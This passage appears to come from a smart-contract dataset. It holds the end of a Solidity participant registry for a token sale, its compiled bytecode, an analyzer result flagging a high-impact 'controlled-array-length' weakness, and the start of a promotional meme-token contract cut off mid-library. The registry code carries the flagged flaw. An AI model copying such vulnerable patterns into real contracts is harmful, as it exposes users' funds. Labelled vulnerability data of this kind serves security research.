returns(uint256) { return (participants[_a].arbits); } function get_participant_num_of_pro_rata_tokens_alloted(address _a) public view returns(uint256) { return (participants[_a].num_of_pro_rata_tokens_alloted); } function get_participant_arbits_kyc_whitelist(address _a) public view returns(bool) { return (participants[_a].arbits_kyc_whitelist); } // setters function set_participant( address _a, uint256 _ta, uint256 _arbits, uint256 _prta, bool _v3, uint8 _nou ) public only_master_or_owner log_participant_update(_a) { participant storage subject = participants[_a]; subject.eth_address = _a; subject.topl_address = _ta; subject.arbits = _arbits; subject.num_of_pro_rata_tokens_alloted = _prta; subject.arbits_kyc_whitelist = _v3; subject.num_of_uses = _nou; } function set_participant_num_of_uses( address _a, uint8 _v ) public only_master_or_owner log_participant_update(_a) { participants[_a].num_of_uses = _v; } function set_participant_topl_address( address _a, uint256 _ta ) public only_master_or_owner log_participant_update(_a) { participants[_a].topl_address = _ta; } function set_participant_arbits( address _a, uint256 _v ) public only_master_or_owner log_participant_update(_a) { participants[_a].arbits = _v; } function set_participant_num_of_pro_rata_tokens_alloted( address _a, uint256 _v ) public only_master_or_owner log_participant_update(_a) { participants[_a].num_of_pro_rata_tokens_alloted = _v; } function set_participant_arbits_kyc_whitelist( address _a, bool _v ) public only_kycer log_participant_update(_a) { participants[_a].arbits_kyc_whitelist = _v; } // // STATE FLAG FUNCTIONS: Getter, setter, and toggling functions for state flags. // GETTERS function get_iconiq_presale_open() public view only_master_or_owner returns(bool) { return iconiq_presale_open; } function get_arbits_presale_open() public view only_master_or_owner returns(bool) { return arbits_presale_open; } function get_arbits_sale_open() public view only_master_or_owner returns(bool) { return arbits_sale_open; } // SETTERS function set_iconiq_presale_open(bool _v) public only_master_or_owner { iconiq_presale_open = _v; } function set_arbits_presale_open(bool _v) public only_master_or_owner { arbits_presale_open = _v; } function set_arbits_sale_open(bool _v) public only_master_or_owner { arbits_sale_open = _v; } }
0x608060405260043610610364576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063022914a71461036957806303741040146103c4578063037d4ff8146103ef57806306bced7c1461041a578063083baf1514610447578063084b8f8d1461049e57806309e69ede146104cb5780630b967fd21461057b57806310f5f1b3146105be5780631e62a9151461061957806320c0711d1461066657806321ee64571461069157806322efee2d146106be578063249aa1d014610715578063314ec2e514610740578063349be96c1461078f578063380380bb146107ba5780633fc5b69b146107e557806342f1729814610812578063431f188c1461083d5780634a75e7411461086a5780634f8ffd1f146108ad57806359a83074146108da5780635ac38c4f146109275780635de929c8146109825780635e393973146109dd5780635f4b125b14610a0857806361c9559b14610a3357806364968f5814610a62578063681b331414610a8f5780636fcaea0c14610aba57806371c1dde514610ae957806373a29b5e14610b145780637632ee9514610b3f5780637a38a10614610b6a5780637d1f561b14610bc5578063898ad5ec14610bf257806389ce285814610c215780638d0522c514610c4c5780638e79dc9114610c7957806393db771614610cc6578063963c112114610cf157806399a7e9db14610d1e5780639a182e9414610d495780639b4778e414610d745780639d8dbd2014610da3578063a11e7f5e14610de6578063a1eadb8614610e15578063a2248be014610e40578063a5670c8014610e6d578063a62e938e14610e98578063ac798def14610ec3578063ad549e5314610ef0578063b08af3dd14610f3f578063b22e6fee14610f9c578063b4a357a214610fc7578063b50f283214611077578063b996c248146110c7578063baf1129014611134578063bbe617301461115f578063bdcc34391461118a578063c3232dda146111cd578063cc00ce12146111fc578063ceab09d81461122b578063cf0cc31f146112a5578063d7ed3fb1146112d0578063de82d83e14611327578063e14be66614611356578063e1f4a9b114611385578063f105c981146113b2578063f28e59c9146113dd578063f5711d4e14611438578063f6b9571a14611463578063fe7e187f146114a6575b600080fd5b34801561037557600080fd5b506103aa600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114e9565b604051808215151515815260200191505060405180910390f35b3480156103d057600080fd5b506103d9611509565b6040518082815260200191505060405180910390f35b3480156103fb57600080fd5b50610404611513565b6040518082815260200191505060405180910390f35b34801561042657600080fd5b506104456004803603810190808035906020019092919050505061151d565b005b34801561045357600080fd5b50610488600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115d3565b6040518082815260200191505060405180910390f35b3480156104aa57600080fd5b506104c96004803603810190808035906020019092919050505061161f565b005b3480156104d757600080fd5b5061050c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116d5565b604051808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001868152602001858152602001848152602001831515151581526020018260ff1660ff168152602001965050505050505060405180910390f35b34801561058757600080fd5b506105bc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061174b565b005b3480156105ca57600080fd5b506105ff600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117fe565b604051808215151515815260200191505060405180910390f35b34801561062557600080fd5b50610664600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611857565b005b34801561067257600080fd5b5061067b6119b6565b6040518082815260200191505060405180910390f35b34801561069d57600080fd5b506106bc600480360381019080803590602001909291905050506119bc565b005b3480156106ca57600080fd5b506106ff600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a72565b6040518082815260200191505060405180910390f35b34801561072157600080fd5b5061072a611abe565b6040518082815260200191505060405180910390f35b34801561074c57600080fd5b5061078d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611ac4565b005b34801561079b57600080fd5b506107a4611bca565b6040518082815260200191505060405180910390f35b3480156107c657600080fd5b506107cf611bd0565b6040518082815260200191505060405180910390f35b3480156107f157600080fd5b5061081060048036038101908080359060200190929190505050611bd6565b005b34801561081e57600080fd5b50610827611c8c565b6040518082815260200191505060405180910390f35b34801561084957600080fd5b5061086860048036038101908080359060200190929190505050611c92565b005b34801561087657600080fd5b506108ab600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d48565b005b3480156108b957600080fd5b506108d860048036038101908080359060200190929190505050611dfa565b005b3480156108e657600080fd5b50610925600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611eb0565b005b34801561093357600080fd5b50610968600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061200f565b604051808215151515815260200191505060405180910390f35b34801561098e57600080fd5b506109c3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061202f565b604051808215151515815260200191505060405180910390f35b3480156109e957600080fd5b506109f261204f565b6040518082815260200191505060405180910390f35b348015610a1457600080fd5b50610a1d612059565b6040518082815260200191505060405180910390f35b348015610a3f57600080fd5b50610a48612063565b604051808215151515815260200191505060405180910390f35b348015610a6e57600080fd5b50610a8d60048036038101908080359060200190929190505050612126565b005b348015610a9b57600080fd5b50610aa46121dc565b6040518082815260200191505060405180910390f35b348015610ac657600080fd5b50610ae76004803603810190808035151590602001909291905050506121e6565b005b348015610af557600080fd5b50610afe6122af565b6040518082815260200191505060405180910390f35b348015610b2057600080fd5b50610b296122b9565b6040518082815260200191505060405180910390f35b348015610b4b57600080fd5b50610b546122c3565b6040518082815260200191505060405180910390f35b348015610b7657600080fd5b50610bab600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506122c9565b604051808215151515815260200191505060405180910390f35b348015610bd157600080fd5b50610bf0600480360381019080803590602001909291905050506122e9565b005b348015610bfe57600080fd5b50610c1f60048036038101908080351515906020019092919050505061239f565b005b348015610c2d57600080fd5b50610c36612468565b6040518082815260200191505060405180910390f35b348015610c5857600080fd5b50610c776004803603810190808035906020019092919050505061246e565b005b348015610c8557600080fd5b50610cc4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612524565b005b348015610cd257600080fd5b50610cdb612683565b6040518082815260200191505060405180910390f35b348015610cfd57600080fd5b50610d1c6004803603810190808035906020019092919050505061268d565b005b348015610d2a57600080fd5b50610d33612743565b6040518082815260200191505060405180910390f35b348015610d5557600080fd5b50610d5e61274d565b6040518082815260200191505060405180910390f35b348015610d8057600080fd5b50610d89612753565b604051808215151515815260200191505060405180910390f35b348015610daf57600080fd5b50610de4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612816565b005b348015610df257600080fd5b50610dfb6128c9565b604051808215151515815260200191505060405180910390f35b348015610e2157600080fd5b50610e2a61298c565b6040518082815260200191505060405180910390f35b348015610e4c57600080fd5b50610e6b60048036038101908080359060200190929190505050612992565b005b348015610e7957600080fd5b50610e82612a48565b6040518082815260200191505060405180910390f35b348015610ea457600080fd5b50610ead612a52565b6040518082815260200191505060405180910390f35b348015610ecf57600080fd5b50610eee60048036038101908080359060200190929190505050612a58565b005b348015610efc57600080fd5b50610f3d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050612b0e565b005b348015610f4b57600080fd5b50610f80600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612c2c565b604051808260ff1660ff16815260200191505060405180910390f35b348015610fa857600080fd5b50610fb1612c85565b6040518082815260200191505060405180910390f35b348015610fd357600080fd5b50611008600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612c8f565b604051808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001868152602001858152602001848152602001831515151581526020018260ff1660ff168152602001965050505050505060405180910390f35b34801561108357600080fd5b506110c5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050612d49565b005b3480156110d357600080fd5b506110f260048036038101908080359060200190929190505050612ebc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561114057600080fd5b50611149612efa565b6040518082815260200191505060405180910390f35b34801561116b57600080fd5b50611174612f00565b6040518082815260200191505060405180910390f35b34801561119657600080fd5b506111cb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612f0a565b005b3480156111d957600080fd5b506111e2612fbd565b604051808215151515815260200191505060405180910390f35b34801561120857600080fd5b50611229600480360381019080803515159060200190929190505050612fd0565b005b34801561123757600080fd5b506112a3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190803515159060200190929190803560ff169060200190929190505050613099565b005b3480156112b157600080fd5b506112ba613290565b6040518082815260200191505060405180910390f35b3480156112dc57600080fd5b50611311600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613296565b6040518082815260200191505060405180910390f35b34801561133357600080fd5b5061133c6132e2565b604051808215151515815260200191505060405180910390f35b34801561136257600080fd5b5061136b6132f5565b604051808215151515815260200191505060405180910390f35b34801561139157600080fd5b506113b060048036038101908080359060200190929190505050613308565b005b3480156113be57600080fd5b506113c76133be565b6040518082815260200191505060405180910390f35b3480156113e957600080fd5b5061141e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506133c8565b604051808215151515815260200191505060405180910390f35b34801561144457600080fd5b5061144d61341d565b6040518082815260200191505060405180910390f35b34801561146f57600080fd5b506114a4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613423565b005b3480156114b257600080fd5b506114e7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506134d6565b005b60016020528060005260406000206000915054906101000a900460ff1681565b6000600f54905090565b6000600754905090565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115be5750600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15156115c957600080fd5b80600f8190555050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201549050919050565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116c05750600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15156116cb57600080fd5b8060108190555050565b60046020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010154908060020154908060030154908060040160009054906101000a900460ff16908060040160019054906101000a900460ff16905086565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156117a357600080fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160009054906101000a900460ff169050919050565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806118f85750600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b151561190357600080fd5b8160058190806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550505050565b600b5481565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611a5d5750600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515611a6857600080fd5b8060128190555050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301549050919050565b60075481565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b655750600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515611b7057600080fd5b806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600e5481565b60105481565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c775750600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515611c8257600080fd5b8060118190555050565b60115481565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d335750600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515611d3e57600080fd5b80600d8190555050565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611da057600080fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e9b5750600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515611ea657600080fd5b80600b8190555050565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f515750600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515611f5c57600080fd5b8160058190806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030181905550505050565b60006020528060005260406000206000915054906101000a900460ff1681565b60036020528060005260406000206000915054906101000a900460ff1681565b6000600c54905090565b6000600854905090565b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806121065750600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b151561211157600080fd5b600660009054906101000a900460ff16905090565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806121c75750600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15156121d257600080fd5b80600e8190555050565b6000600a54905090565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122875750600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b151561229257600080fd5b80600660016101000a81548160ff02191690831515021790555050565b6000600d54905090565b6000601054905090565b600d5481565b60026020528060005260406000206000915054906101000a900460ff1681565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061238a5750600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b151561239557600080fd5b8060098190555050565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806124405750600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b151561244b57600080fd5b80600660006101000a81548160ff02191690831515021790555050565b60095481565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061250f5750600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b151561251a57600080fd5b80600c8190555050565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806125c55750600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15156125d057600080fd5b8160058190806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020181905550505050565b6000601354905090565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061272e5750600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b151561273957600080fd5b80600a8190555050565b6000600e54905090565b60085481565b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806127f65750600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b151561280157600080fd5b600660029054906101000a900460ff16905090565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561286e57600080fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061296c5750600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b151561297757600080fd5b600660019054906101000a900460ff16905090565b60135481565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612a335750600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515612a3e57600080fd5b8060088190555050565b6000601154905090565b60125481565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612af95750600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515612b0457600080fd5b8060138190555050565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515612b6657600080fd5b8160058190806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160006101000a81548160ff021916908315150217905550505050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160019054906101000a900460ff169050919050565b6000600954905090565b6000806000806000806000600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160010154826002015483600301548460040160009054906101000a900460ff168560040160019054906101000a900460ff169650965096509650965096505091939550919395565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612dea5750600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515612df557600080fd5b8160058190806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160016101000a81548160ff021916908360ff160217905550505050565b600581815481101515612ecb57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b6000601254905090565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515612f6257600080fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600660019054906101000a900460ff1681565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806130715750600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b151561307c57600080fd5b80600660026101000a81548160ff02191690831515021790555050565b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061313c5750600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b151561314757600080fd5b8660058190806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209150878260000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550868260010181905550858260020181905550848260030181905550838260040160006101000a81548160ff021916908315150217905550828260040160016101000a81548160ff021916908360ff1602179055505050505050505050565b600c5481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101549050919050565b600660009054906101000a900460ff1681565b600660029054906101000a900460ff1681565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806133a95750600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15156133b457600080fd5b8060078190555050565b6000600b54905090565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600f5481565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561347b57600080fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561352e57600080fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505600a165627a7a72305820d61a42b8daf1b4926ed10d5700d9728ab939bbec38b9ac29afa0eaa996d2b2710029
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
2,701
0xbe9c0749de5f3465d217c806339945817c810dd0
/* _ _ ____ _ /\ | | | | / __ \| | / \ | |_ ____ _ _ _ ___| | | | | | | / /\ \ | \ \ /\ / / _` | | | / __| | | | | | | / ____ \| |\ V V / (_| | |_| \__ \ |___| |__| | |____ /_/ \_\_| \_/\_/ \__,_|\__, |___/______\____/|______| __/ | |___/ ✅ Tokenomics 👉 Total Supply: 1T 👉 Burn: 50% 👉 Liquidity: 50% 👉 Tax Fee for buy-back: 21% 👍 Buyback & Burn at the first Dip (Punish sellers) ✅ Powerful Anti-Bot for first 10 minutes ✅ Max Buy Amount: 0.3% of Total Supply ✅ Buy Cooldown: 30 seconds ✅ No Presale ✅ No Team Tokens ✅ 100% Fair Launch 🤐 Mute chat 10mins before the Launch 💥 Contract Address Announce 10mins before the Launch 🤓 Unmute chat after LP locked 💎 Website: https://alwayslol.online/ 💎 Telegram: https://t.me/alwaysloltoken 💎 Twitter: https://twitter.com/alwaysloltoken */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication 